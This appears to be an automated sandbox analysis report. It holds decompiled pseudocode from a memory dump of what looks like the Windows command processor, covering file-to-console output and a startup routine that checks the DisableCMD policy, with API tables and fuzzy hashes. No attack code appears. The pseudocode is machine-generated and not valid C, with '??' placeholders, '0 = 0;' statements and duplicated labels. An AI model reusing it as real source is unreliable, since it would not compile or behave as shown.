											_a12 = _t228;
											if(__eflags == 0) {
												break;
											}
											_t161 =  *_t254 & 0x000000ff;
											__eflags =  *((char*)(_t161 + 0x8b7f30));
											if( *((char*)(_t161 + 0x8b7f30)) == 0) {
												L31:
												_t254 =  &(_t254[1]);
												_t228 = _t228 - 1;
												__eflags = _t228;
												continue;
											}
											_t253 =  &(_t254[1]);
											_t228 = _t228 - 1;
											__eflags = _t228;
											_a12 = _t228;
											if(_t228 == 0) {
												_t198 =  &_a12;
												__imp___get_osfhandle(_t253, _t212, _t198, 0);
												_t222 = _t263;
												_t199 = ReadFile(_t198, ??, ??, ??, ??);
												__eflags = _t199;
												if(_t199 == 0) {
													goto L81;
												}
												_t268 =  &(_a4[0]);
												__eflags = _t268;
												_a4 = _t268;
												_a24 = _t268;
												L36:
												_a28 = _a28 & 0x00000000;
												_t253 =  &_a608;
												_t164 = E00896CEF(_t212,  &_a608,  &_a24,  &_a28);
												__eflags = _t164;
												if(_t164 != 0) {
													L39:
													_t269 = MultiByteToWideChar( *0x8a3854, 0,  &_a608, _t268,  &_a1128, 0x400);
													_a12 = _t269;
													__eflags = _t269;
													if(_t269 == 0) {
														_t269 = 0x400;
														_a12 = 0x400;
													}
													_t226 = _a4;
													_a28 =  &_a1128;
													L42:
													__eflags = _a40;
													if(_a40 != 0) {
														__eflags =  *0x8b3cd0;
														if( *0x8b3cd0 != 0) {
															E0087C5A2(_t226, 0x2354, _t212, _a48);
															_t226 = _a4;
															_t275 = _t275 + 0xc;
															_t269 = _a12;
														}
														_t75 =  &_a40;
														 *_t75 = _a40 & 0x00000000;
														__eflags =  *_t75;
													}
													_v0 = _a28;
													__eflags = _t269;
													if(_t269 <= 0) {
														L74:
														_t270 = _a32;
														_t253 = _a36;
														__eflags = _t270 | _t253;
														if((_t270 | _t253) != 0) {
															_t172 =  &_a32;
															__imp___get_osfhandle(_t172, _t212);
															SetFilePointerEx(_t172, _t263, 0, 0);
															_t253 = _a36;
															_t270 = _a32;
															_t226 = _a4;
														}
														__eflags = _t226 - _a24;
														if(_t226 != _a24) {
															goto L82;
														} else {
															__eflags = _a60 - _t253;
															if(__eflags < 0) {
																goto L82;
															}
															if(__eflags > 0) {
																L80:
																_t266 = _a20;
																goto L15;
															}
															__eflags = _a56 - _t270;
															if(_a56 <= _t270) {
																goto L82;
															}
															goto L80;
														}
													} else {
														do {
															_t174 = 0x50;
															__eflags = _t269 - _t174;
															if(_t269 <= _t174) {
																_a8 = _t269;
																__eflags = _t269;
																if(_t269 == 0) {
																	break;
																}
																L50:
																__eflags =  *0x89d544;
																if( *0x89d544 != 0) {
																	goto L86;
																}
																_t175 = E0088269C(_t174);
																__eflags = _t175;
																if(_t175 == 0) {
																	__eflags =  *0x8b805c;
																	if( *0x8b805c != 0) {
																		__eflags = _a20;
																		if(_a20 == 0) {
																			_t176 = _a8;
																			_t232 = _v0;
																			L62:
																			_a68 = _t176 + _t176;
																			_t178 = E008827C8(_t176 + _t176, _t232, _t176 + _t176,  &_a16);
																			__eflags = _a12;
																			_t257 = _v8;
																			_a36 = _t178;
																			if(_a12 != 0) {
																				 *((short*)(_a68 + _t257)) = _a52;
																			}
																			_t234 = _a16;
																			_t269 = _t269 - (_t234 >> 1);
																			_t181 = _a8;
																			_t258 = _t257 + _t234;
																			__eflags = _t258;
																			_v0 = _t258;
																			L65:
																			_t253 = _a44;
																			L66:
																			__eflags = _t253;
																			if(_t253 == 0) {
																				L68:
																				_t182 = GetLastError();
																				 *0x8b3cf0 = _t182;
																				__eflags = _t182;
																				if(_t182 == 0) {
																					 *0x8b3cf0 = 0x70;
																				}
																				_t235 = _t212;
																				_t183 = E00880178(_t182);
																				__eflags = _t183;
																				if(_t183 == 0) {
																					_t236 = _t212;
																					_t184 = E00899953(_t183, _t212);
																					__eflags = _t184;
																					if(_t184 == 0) {
																						E0089985A( *0x8b3cf0);
																					} else {
																						_push(0);
																						_push(0x2364);
																						E0087C5A2(_t236);
																					}
																					goto L86;
																				} else {
																					_push(0);
																					_push(0x1d);
																					E0087C5A2(_t235);
																					goto L72;
																				}
																			}
																			__eflags = _t234 - _t181 + _t181;
																			if(_t234 == _t181 + _t181) {
																				goto L72;
																			}
																			goto L68;
																		}
																		L60:
																		_t176 = _a8;
																		_t232 = _v0;
																		_a52 =  *(_t232 + _t176 * 2) & 0x0000ffff;
																		 *(_t232 + _t176 * 2) = 0;
																		goto L62;
																	}
																	__eflags = _a20;
																	if(_a20 != 0) {
																		goto L60;
																	}
																	_t190 = _a8;
																	L58:
																	__imp___get_osfhandle(0);
																	_t253 = WriteFile(_t190, _t212, _v0, _t190,  &_a16);
																	_t192 = _a16;
																	_t269 = _t269 - _t192;
																	_v0 = _v0 + _t192;
																	_t234 = _t192 + _t192;
																	_t181 = _a8;
																	_a16 = _t234;
																	goto L66;
																}
																_t195 = WriteConsoleW(GetStdHandle(0xfffffff5), _v0, _a8,  &_a16, 0);
																_a44 = _t195;
																__eflags = _t195;
																_t190 = _a8;
																if(_t195 == 0) {
																	goto L58;
																}
																_t245 = _a16;
																__eflags = _t245 - _t190;
																if(_t245 != _t190) {
																	goto L58;
																}
																_t269 = _t269 - _t245;
																_t234 = _t245 + _t245;
																_v0 = _v0 + _t234;
																_a16 = _t234;
																goto L65;
															}
															_a8 = _t174;
															goto L50;
															L72:
															__eflags = _t269;
														} while (_t269 > 0);
														_t226 = _a4;
														goto L74;
													}
												}
												_t197 = _a24;
												__eflags = _t197;
												if(_t197 == 0) {
													goto L82;
												}
												_t268 = _t197;
												goto L39;
											}
											goto L31;
										}
										goto L36;
									}
									__eflags =  *0x8b805c - _t160;
									if( *0x8b805c != _t160) {
										goto L28;
									}
									_t226 = _a4;
									_t269 = _t226;
									L23:
									_a12 = _t269;
									goto L42;
								}
								_t269 = _t226 >> 1;
								__eflags = _t269;
								goto L23;
							}
							_t156 = 0xfeff;
							__eflags = _a608 - 0xfeff;
							if(_a608 != 0xfeff) {
								_t45 =  &_a20;
								 *_t45 = _a20 & 0x00000000;
								__eflags =  *_t45;
								_a24 = _t226;
								goto L25;
							}
							_t246 = _t226 - 2;
							__eflags = _t246;
							_a4 = _t246;
							_t266 = _t212;
							_a20 = _t266;
							_t156 = memmove( &_a608,  &_a610, _t246);
							_t226 = _a4;
							_t275 = _t275 + 0xc;
							goto L21;
						}
						L86:
						E0087DB92(_t263);
						goto L87;
					}
					_t206 = E00883320(L"DPATH");
					__eflags = _t206;
					if(_t206 == 0) {
						L11:
						_t250 =  *0x8b3cf0;
						__eflags =  *0x8b3cf0 - 0x7b;
						if( *0x8b3cf0 == 0x7b) {
							_t250 = 2;
							 *0x8b3cf0 = _t250;
						}
						goto L2;
					}
					_t251 = _a592;
					__eflags = _t251;
					if(_t251 == 0) {
						_t251 =  &_a72;
					}
					_t208 = SearchPathW(_t206, _a48, 0, _a600, _t251, 0);
					__eflags = _t208;
					if(_t208 == 0) {
						goto L11;
					}
					_t252 = _a592;
					__eflags = _t252;
					if(_t252 == 0) {
						_t252 =  &_a72;
					}
					_t253 = 0;
					_t263 = E0087D120(_t252, 0, _t252);
					__eflags = _t263 - 0xffffffff;
					if(_t263 != 0xffffffff) {
						goto L13;
					} else {
						goto L11;
					}
				} else {
					_t250 = 8;
					L2:
					E0089985A(_t250);
					L87:
					__imp__??_V@YAXPAX@Z(_a592);
					_pop(_t264);
					_pop(_t267);
					_pop(_t213);
					return E00886FD0(_t212, _t213, _a4204 ^ _t275, _t253, _t264, _t267);
				}
			}

0x008965a0
0x008965a5
0x008965ad
0x008965b2
0x008965b9
0x008965c0
0x008965ca
0x008965d3
0x008965e1
0x008965e5
0x008965e7
0x008965eb
0x008965ec
0x008965f1
0x008965f9
0x008965fd
0x00896601
0x00896605
0x0089660c
0x00896613
0x0089661e
0x0089663e
0x0089664e
0x00896657
0x00896659
0x0089665c
0x008966cd
0x008966d6
0x008966da
0x008966df
0x008966e1
0x008966e3
0x008966e9
0x008966f7
0x00896701
0x00896709
0x0089670f
0x0089670f
0x0089670f
0x00896713
0x00896713
0x00896717
0x00896717
0x00896717
0x0089671e
0x00000000
0x00000000
0x00896730
0x00896739
0x0089673f
0x00896741
0x00896747
0x00896749
0x00896aad
0x00896aad
0x00896ab3
0x00896ab5
0x00896ab6
0x00896abb
0x00896ac2
0x00896ac4
0x00896ac9
0x00000000
0x00896ac9
0x0089674f
0x00896753
0x00896755
0x00000000
0x00000000
0x0089675b
0x00896760
0x0089679c
0x0089679c
0x008967a0
0x008967a2
0x008967ba
0x008967bc
0x008967c1
0x008967c3
0x008967d5
0x008967d5
0x008967d9
0x008967e0
0x008967e2
0x00896800
0x00896800
0x00896804
0x00000000
0x00000000
0x008967e6
0x008967e9
0x008967f0
0x008967fc
0x008967fc
0x008967fd
0x008967fd
0x00000000
0x008967fd
0x008967f2
0x008967f3
0x008967f3
0x008967f6
0x008967fa
0x0089680a
0x00896812
0x00896818
0x0089681a
0x00896820
0x00896822
0x00000000
0x00000000
0x0089682c
0x0089682c
0x0089682d
0x00896831
0x00896835
0x00896835
0x00896846
0x0089684d
0x00896852
0x00896854
0x00896864
0x00896888
0x0089688a
0x0089688e
0x00896890
0x00896892
0x00896897
0x00896897
0x0089689b
0x008968a6
0x008968aa
0x008968aa
0x008968af
0x008968b1
0x008968b8
0x008968c4
0x008968c9
0x008968cd
0x008968d0
0x008968d0
0x008968d4
0x008968d4
0x008968d4
0x008968d4
0x008968dd
0x008968e1
0x008968e3
0x00896a5d
0x00896a5d
0x00896a63
0x00896a67
0x00896a69
0x00896a6c
0x00896a76
0x00896a7e
0x00896a84
0x00896a88
0x00896a8c
0x00896a8c
0x00896a90
0x00896a94
0x00000000
0x00896a96
0x00896a96
0x00896a9a
0x00000000
0x00000000
0x00896a9c
0x00896aa4
0x00896aa4
0x00000000
0x00896aa4
0x00896a9e
0x00896aa2
0x00000000
0x00000000
0x00000000
0x00896aa2
0x008968e9
0x008968e9
0x008968eb
0x008968ec
0x008968ee
0x008968f6
0x008968fa
0x008968fc
0x00000000
0x00000000
0x00896902
0x00896902
0x00896909
0x00000000
0x00000000
0x00896911
0x00896916
0x00896918
0x0089695d
0x00896964
0x008969a5
0x008969aa
0x008969c4
0x008969c8
0x008969cc
0x008969d5
0x008969dc
0x008969e1
0x008969e6
0x008969ea
0x008969ee
0x008969f8
0x008969f8
0x008969fc
0x00896a04
0x00896a06
0x00896a0a
0x00896a0a
0x00896a0c
0x00896a10
0x00896a10
0x00896a14
0x00896a14
0x00896a16
0x00896a1e
0x00896a1e
0x00896a24
0x00896a29
0x00896a2b
0x00896a2d
0x00896a2d
0x00896a37
0x00896a39
0x00896a3e
0x00896a40
0x00896acd
0x00896acf
0x00896ad4
0x00896ad6
0x00896aee
0x00896ad8
0x00896ad8
0x00896ada
0x00896adf
0x00896ae5
0x00000000
0x00896a46
0x00896a46
0x00896a48
0x00896a4a
0x00000000
0x00896a50
0x00896a40
0x00896a1a
0x00896a1c
0x00000000
0x00000000
0x00000000
0x00896a1c
0x008969ac
0x008969ac
0x008969b0
0x008969b8
0x008969be
0x00000000
0x008969be
0x00896966
0x0089696b
0x00000000
0x00000000
0x0089696d
0x00896971
0x0089697e
0x0089698c
0x0089698e
0x00896992
0x00896994
0x00896998
0x0089699b
0x0089699f
0x00000000
0x0089699f
0x00896932
0x00896938
0x0089693c
0x0089693e
0x00896942
0x00000000
0x00000000
0x00896944
0x00896948
0x0089694a
0x00000000
0x00000000
0x0089694c
0x0089694e
0x00896950
0x00896954
0x00000000
0x00896954
0x008968f0
0x00000000
0x00896a51
0x00896a51
0x00896a51
0x00896a59
0x00000000
0x00896a59
0x008968e3
0x00896856
0x0089685a
0x0089685c
0x00000000
0x00000000
0x00896862
0x00000000
0x00896862
0x00000000
0x008967fa
0x00000000
0x00896806
0x008967c5
0x008967cb
0x00000000
0x00000000
0x008967cd
0x008967d1
0x008967a8
0x008967a8
0x00000000
0x008967a8
0x008967a6
0x008967a6
0x00000000
0x008967a6
0x00896762
0x00896767
0x0089676f
0x008967b1
0x008967b1
0x008967b1
0x008967b6
0x00000000
0x008967b6
0x00896771
0x00896771
0x00896784
0x00896788
0x0089678b
0x0089678f
0x00896795
0x00896799
0x00000000
0x00896799
0x00896af3
0x00896af5
0x00000000
0x00896af5
0x00896663
0x00896668
0x0089666a
0x008966b4
0x008966b4
0x008966ba
0x008966bd
0x008966c1
0x008966c2
0x008966c2
0x00000000
0x008966bd
0x0089666c
0x00896673
0x00896675
0x00896677
0x00896677
0x0089668c
0x00896692
0x00896694
0x00000000
0x00000000
0x00896696
0x0089669d
0x0089669f
0x008966a1
0x008966a1
0x008966a6
0x008966ad
0x008966af
0x008966b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00896640
0x00896642
0x00896643
0x00896643
0x00896afa
0x00896b01
0x00896b11
0x00896b12
0x00896b13
0x00896b1e
0x00896b1e

APIs

memset.MSVCRT ref: 00896613

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,?,00000000,?,?,00000000,?,-00000105), ref: 0089668C
??_V@YAXPAX@Z.MSVCRT ref: 00896B01

Part of subcall function 00880178: _get_osfhandle.MSVCRT ref: 00880183
Part of subcall function 00880178: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D

_get_osfhandle.MSVCRT ref: 008966E9
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000105), ref: 008966F1
_get_osfhandle.MSVCRT ref: 00896701
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00896709

Part of subcall function 0088269C: _get_osfhandle.MSVCRT ref: 008826A7
Part of subcall function 0088269C: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0087C5F8,?,?,?), ref: 008826B6
Part of subcall function 0088269C: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826D2
Part of subcall function 0088269C: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000002), ref: 008826E1
Part of subcall function 0088269C: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008826EC
Part of subcall function 0088269C: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826F5

_get_osfhandle.MSVCRT ref: 00896739
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000105), ref: 00896741
memmove.MSVCRT ref: 0089678F
_get_osfhandle.MSVCRT ref: 00896812
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0089681A
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,?,?,?,00000400,00000000,00000000), ref: 00896882
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,?,?,00000000), ref: 0089692B
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00896932
_get_osfhandle.MSVCRT ref: 0089697E
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00896986
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?), ref: 00896A1E
_get_osfhandle.MSVCRT ref: 00896A76
SetFilePointerEx.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00896A7E
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00896AAD

Part of subcall function 00899953: _get_osfhandle.MSVCRT ref: 00899956
Part of subcall function 00899953: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0089995E

Strings

DPATH, xrefs: 0089665E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File_get_osfhandle$Type$ConsoleErrorHandleLastLockPointerReadSharedWritememset$AcquireByteCharModeMultiPathReleaseSearchSizeWidememmove
String ID: DPATH
API String ID: 1247154890-2010427443
Opcode ID: a991dd9eda1aa137150008148daf9349a9e5bf944be953743f484b593b9f6fa0
Instruction ID: 0b94f4e8413aa22d89533ef007fc108f02e4f49c66b47144357ed9e505bd50e8
Opcode Fuzzy Hash: a991dd9eda1aa137150008148daf9349a9e5bf944be953743f484b593b9f6fa0
Instruction Fuzzy Hash: D0F17E716083519FDB24EF24C845B6BBBE8FB88714F084A2DF985E7290EB74D905CB52

Uniqueness

Uniqueness Score: -1.00%

Function 008844FC, Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 242
registrythreadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E008844FC() {
				signed int _v8;
				char _v24;
				int* _v28;
				char _v29;
				char _v36;
				void* _v40;
				int* _v44;
				int _v48;
				int _v52;
				signed int _t26;
				void* _t39;
				intOrPtr _t44;
				intOrPtr _t48;
				intOrPtr _t51;
				int _t53;
				intOrPtr _t55;
				int _t59;
				int _t64;
				void* _t73;
				void* _t75;
				intOrPtr _t82;
				void* _t84;
				void* _t95;
				char* _t96;
				signed int _t97;
				signed int _t98;

				_t26 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t26 ^ _t98;
				_v44 = 0;
				 *0x8ab938 = OpenThread(0x1fffff, 0, GetCurrentThreadId());
				E0088465D(_t75);
				__imp__HeapSetInformation(0, 1, 0, 0, _t95, _t97, _t73);
				_v36 = 0;
				if(RegOpenKeyExW(0x80000001, L"Software\\Policies\\Microsoft\\Windows\\System", 0, 0x20019,  &_v40) == 0) {
					_v48 = 4;
					RegQueryValueExW(_v40, L"DisableCMD", 0,  &_v52,  &_v36,  &_v48);
					RegCloseKey(_v40);
				}
				 *0x89d614 = 1;
				_t93 = 0x89d600;
				 *0x89d610 =  &_v29;
				_t39 = E00884719(0x89d600);
				asm("sbb al, al");
				 *0x89d614 =  *0x89d614 &  ~(_t39 - 1);
				E008846D8();
				_v28 = 0;
				_t96 =  &_v24;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t44 = E00883D27(0,  &_v24);
				if(_v36 == 1) {
					_push(0);
					_push(0x40002729);
					E0087C108( &_v24);
					E00893BB0(__eflags, 0);
					do {
						__eflags = E00884B60(__eflags, 0);
					} while (__eflags == 0);
					_push(0xff);
					goto L13;
				} else {
					_t96 = 0xff;
					if(_t44 == 0) {
						L29:
						_push(0);
						L008882C1();
						_v28 = _t44;
						_t84 = 0x8ab8b8;
						_t97 = 2;
						__eflags = _t44;
						if(_t44 == 0) {
							L33:
							__eflags = _v36 - _t97;
							if(_v36 != _t97) {
								_t55 = E00880178(_t44);
								__eflags = _t55;
								if(_t55 == 0) {
									_t97 = 3;
									__imp___setmode(0x8000);
									0 = 0;
								}
								E0087B2B0(0, 0);
								while(1) {
									L40:
									 *0x89d590 = 0;
									EnterCriticalSection( *0x8a3858);
									 *0x89d544 = 0;
									LeaveCriticalSection( *0x8a3858);
									_t93 = 0;
									_t86 = _t97;
									_t96 = E0087EEF0(_t97, 0, 0);
									__eflags = _t96 - 1;
									if(_t96 == 1) {
										continue;
									}
									L41:
									__eflags = _t96 - 0xffffffff;
									if(__eflags == 0) {
										do {
											__eflags = E00884B60(__eflags, 0);
										} while (__eflags == 0);
										L25:
										_push(0);
										L13:
										exit();
										L14:
										_t48 = E0087EEF0(1, _t93,  *0x8b3cd8);
										if(_t48 == 1) {
											do {
												__eflags = E00884B60(__eflags, 0);
											} while (__eflags == 0);
											_push(1);
											goto L13;
										}
										if(_t48 == 0xffffffff) {
											do {
												__eflags = E00884B60(__eflags, 0);
											} while (__eflags == 0);
											goto L25;
										}
										_t93 = _t48;
										_t51 = E00880E00(0, _t48);
										if(_t51 != 0) {
											_v28 = _t51;
										}
										L8:
										_t97 = _t97 + 1;
										if(_t97 < 3) {
											L7:
											_t93 =  *((intOrPtr*)(_t98 + _t97 * 4 - 0x14));
											if( *((intOrPtr*)(_t98 + _t97 * 4 - 0x14)) != 0) {
												goto L14;
											}
											goto L8;
										}
										E008806C0(0);
										_t53 = GetConsoleOutputCP();
										 *0x8a3854 = _t53;
										GetCPInfo(_t53, 0x8a3840);
										_t44 = E0088465D(0);
										_t82 =  *0x8b3ccc;
										L10:
										_t106 = _t82;
										if(_t82 == 0) {
											 *0x8b8058 = 0;
											goto L29;
										} else {
											goto L11;
										}
										do {
											L11:
										} while (E00884B60(_t106, 0) == 0);
										_push(_v28);
										goto L13;
									}
									EnterCriticalSection( *0x8a3858);
									 *0x89d544 = 0;
									LeaveCriticalSection( *0x8a3858);
									_t59 = GetConsoleOutputCP();
									 *0x8a3854 = _t59;
									GetCPInfo(_t59, 0x8a3840);
									E0088465D(_t86);
									E00880E00(0, _t96);
									 *0x89d59c = 0;
									E008806C0(0);
									_t64 = GetConsoleOutputCP();
									 *0x8a3854 = _t64;
									GetCPInfo(_t64, 0x8a3840);
									E0088465D(0);
									do {
										goto L40;
									} while (_t96 == 1);
									goto L41;
									L40:
									 *0x89d590 = 0;
									EnterCriticalSection( *0x8a3858);
									 *0x89d544 = 0;
									LeaveCriticalSection( *0x8a3858);
									_t93 = 0;
									_t86 = _t97;
									_t96 = E0087EEF0(_t97, 0, 0);
									__eflags = _t96 - 1;
								}
							}
							_push(0);
							_push(0x40002729);
							E0087C108(_t84);
							E00893BB0(__eflags, 0);
							do {
								__eflags = E00884B60(__eflags, 0);
							} while (__eflags == 0);
							_push(_t96);
							goto L13;
						}
						__eflags = _t44 - _t97;
						if(__eflags != 0) {
							goto L33;
						} else {
							goto L31;
						}
						do {
							L31:
							__eflags = E00884B60(__eflags, 0);
						} while (__eflags == 0);
						goto L25;
					}
					_push(0);
					_push(0x8ab8b8);
					L008882C1();
					_t82 =  *0x8b3ccc;
					if(_t44 != 0) {
						_t44 = 1;
						_v44 = 1;
						__eflags = _t82;
						if(__eflags != 0) {
							_v28 = 0xff;
						}
					} else {
						_t44 = _v44;
					}
					if(_t44 != 0) {
						goto L10;
					} else {
						_t97 = 0;
						goto L7;
					}
				}
			}

0x00884504
0x0088450b
0x00884513
0x00884529
0x0088452e
0x00884538
0x00884541
0x0088455d
0x0088e6ee
0x0088e707
0x0088e710
0x0088e710
0x00884566
0x0088456d
0x00884572
0x00884577
0x0088457f
0x00884581
0x00884587
0x0088458e
0x00884591
0x00884594
0x00884598
0x00884599
0x0088459a
0x0088459b
0x008845a4
0x0088e71b
0x0088e71c
0x0088e721
0x0088e729
0x0088e72e
0x0088e734
0x0088e734
0x0088e738
0x00000000
0x008845aa
0x008845aa
0x008845b1
0x0088e77f
0x0088e77f
0x0088e785
0x0088e78a
0x0088e78e
0x0088e791
0x0088e792
0x0088e794
0x0088e7a6
0x0088e7a6
0x0088e7a9
0x0088e7d0
0x0088e7d5
0x0088e7d7
0x0088e7db
0x0088e7e2
0x0088e7e9
0x0088e7e9
0x0088e7eb
0x0088e7f0
0x0088e7f0
0x0088e7f6
0x0088e7fc
0x0088e808
0x0088e80e
0x0088e815
0x0088e817
0x0088e81e
0x0088e820
0x0088e823
0x00000000
0x00000000
0x0088e825
0x0088e825
0x0088e828
0x0088e899
0x0088e89f
0x0088e89f
0x0088e762
0x0088e762
0x00884625
0x00884625
0x0088462b
0x00884634
0x0088463c
0x0088e768
0x0088e76e
0x0088e76e
0x0088e772
0x00000000
0x0088e772
0x00884645
0x0088e758
0x0088e75e
0x0088e75e
0x00000000
0x0088e758
0x0088464b
0x0088464f
0x00884656
0x00884658
0x00884658
0x008845e3
0x008845e3
0x008845e7
0x008845db
0x008845db
0x008845e1
0x00000000
0x00000000
0x00000000
0x008845e1
0x008845e9
0x008845ee
0x008845fa
0x008845ff
0x00884605
0x0088460a
0x00884610
0x00884610
0x00884612
0x0088e779
0x00000000
0x00000000
0x00000000
0x00000000
0x00884618
0x00884618
0x0088461e
0x00884622
0x00000000
0x00884622
0x0088e830
0x0088e83c
0x0088e842
0x0088e848
0x0088e854
0x0088e859
0x0088e85f
0x0088e868
0x0088e86d
0x0088e873
0x0088e878
0x0088e884
0x0088e889
0x0088e88f
0x0088e7f0
0x00000000
0x00000000
0x00000000
0x0088e7f0
0x0088e7f6
0x0088e7fc
0x0088e808
0x0088e80e
0x0088e815
0x0088e817
0x0088e81e
0x0088e820
0x0088e820
0x0088e7f0
0x0088e7ab
0x0088e7ac
0x0088e7b1
0x0088e7b9
0x0088e7be
0x0088e7c4
0x0088e7c4
0x0088e7c8
0x00000000
0x0088e7c8
0x0088e796
0x0088e798
0x00000000
0x00000000
0x00000000
0x00000000
0x0088e79a
0x0088e79a
0x0088e7a0
0x0088e7a0
0x00000000
0x0088e7a4
0x008845b7
0x008845b8
0x008845bd
0x008845c4
0x008845cc
0x0088e744
0x0088e745
0x0088e748
0x0088e74a
0x0088e750
0x0088e750
0x008845d2
0x008845d2
0x008845d2
0x008845d7
0x00000000
0x008845d9
0x008845d9
0x00000000
0x008845d9
0x008845d7

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00884516
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(001FFFFF,00000000,00000000), ref: 00884523

Part of subcall function 0088465D: GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL,?,?,?,00884533), ref: 00884687
Part of subcall function 0088465D: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(FFFFFFFF,SetThreadUILanguage,?,?,?,00884533), ref: 008846A7

HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000001,00000000,00000000), ref: 00884538
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000001,Software\Policies\Microsoft\Windows\System,00000000,00020019,?), ref: 00884555
_setjmp3.MSVCRT ref: 008845BD
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 008845EE
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 008845FF
exit.MSVCRT ref: 00884625
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DisableCMD,00000000,?,?,?), ref: 0088E707
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 0088E710

Part of subcall function 00884719: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,00000000,?,00000000,?,?,?,?,?,?,0088D822,?,00000000,00000000), ref: 00884770
Part of subcall function 00884719: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,?,?,?,?,?,?,0088D822,?,00000000,00000000), ref: 0088478C

Part of subcall function 008846D8: GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(0088458C), ref: 008846D8
Part of subcall function 008846D8: GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 008846E9
Part of subcall function 008846D8: memset.MSVCRT ref: 00884703

Part of subcall function 00883D27: InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(008A385C), ref: 00883D4B
Part of subcall function 00883D27: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00883D57
Part of subcall function 00883D27: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00883D6B
Part of subcall function 00883D27: SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(00896D90,00000001), ref: 00883D78
Part of subcall function 00883D27: _get_osfhandle.MSVCRT ref: 00883D85
Part of subcall function 00883D27: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00883D8D
Part of subcall function 00883D27: _get_osfhandle.MSVCRT ref: 00883D99
Part of subcall function 00883D27: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00883DA1
Part of subcall function 00883D27: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00883DC7
Part of subcall function 00883D27: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00883E02

_setjmp3.MSVCRT ref: 0088E785

Strings

Software\Policies\Microsoft\Windows\System, xrefs: 0088454B
DisableCMD, xrefs: 0088E6FF

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$CriticalQuerySection$CommandInfoLineModeOpenOutputThreadVirtual_get_osfhandle_setjmp3$AddressCloseCtrlCurrentEnterHandleHandlerHeapInformationInitializeLeaveModuleProcValueexitmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 4268540630-1920437939
Opcode ID: 2e9f57d16323ed8bdb63b4fab16761d9d1038dccda2c3e3df9923865287e5053
Instruction ID: ad457da793e52396372b543b0e67001f612e6db792cd44f939ba90076f19e08a
Opcode Fuzzy Hash: 2e9f57d16323ed8bdb63b4fab16761d9d1038dccda2c3e3df9923865287e5053
